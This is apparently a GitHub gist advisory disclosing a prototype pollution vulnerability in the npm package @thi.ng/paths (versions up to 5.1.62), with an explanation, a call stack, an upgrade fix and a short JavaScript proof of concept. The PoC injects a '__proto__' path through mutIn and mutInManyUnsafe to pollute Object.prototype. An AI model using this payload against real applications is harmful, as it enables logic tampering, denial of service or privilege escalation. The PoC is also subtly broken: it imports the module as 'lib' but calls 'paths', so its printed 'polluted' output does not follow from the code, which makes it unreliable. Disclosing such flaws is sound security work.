Skip to content

Instantly share code, notes, and snippets.

@tariqhawis
Last active March 23, 2024 15:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tariqhawis/1bc340ca5ea6ae115c9ab9665cfd5921 to your computer and use it in GitHub Desktop.
Save tariqhawis/1bc340ca5ea6ae115c9ab9665cfd5921 to your computer and use it in GitHub Desktop.
Prototype Pollution vulnerability affecting @thi.ng/paths module, versions <=5.1.62

Overview

Affected versions of this package (<=5.1.62) are vulnerable to prototype pollution via mutIn and mutInManyUnsafe An attacker can manipulate the prototype of an object, potentially leading to the alteration of behavior of all objects inheriting from the affected prototype by passing specially crafted input to these functions.

In the PoC code below, paths.mutIn invoked with a polluted __proto__ property, this property passed as an argument from mutIn() in mut-in.js to defMutator() in mutator.js and then assigned to the destination as follows:

        return s ? (t = s[a]) ? (t[b] = x, s) : void 0 : void 0;

Call Stack:

t (@thi.ng/paths/mutator.js:15)
Module.mutIn (@thi.ng/paths/mut-in.js:4)

Attack Vector

A vulnerability occurred when the properties of the source were assigned to the destination without verifying the content of the property and whether it belonged to the object. An attacker can exploit this vulnerability by using user-controllable input to provide the method with a malicious property through the special properties __proto__ or constructor.prototype of the built-in Object.prototype. As a result, the attacker can manipulate the application logic, which could lead to Denial of Service, remote code execution, or privilege escalation attacks.

PoC:

(async () => {
  const lib = await import('@thi.ng/paths');

var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
// Un-comment on at a time
paths.mutIn({},[["__proto__"], "polluted"], true)
paths.mutInManyUnsafe({},[["__proto__"], "polluted"], true)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();

Output:

Before Attack:  {}
After Attack:  {"polluted":true}

Output of a successful fix:

Before Attack:  {}
After Attack:  {}

Mitigation

Upgrade the package version to 5.1.63 or newer.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment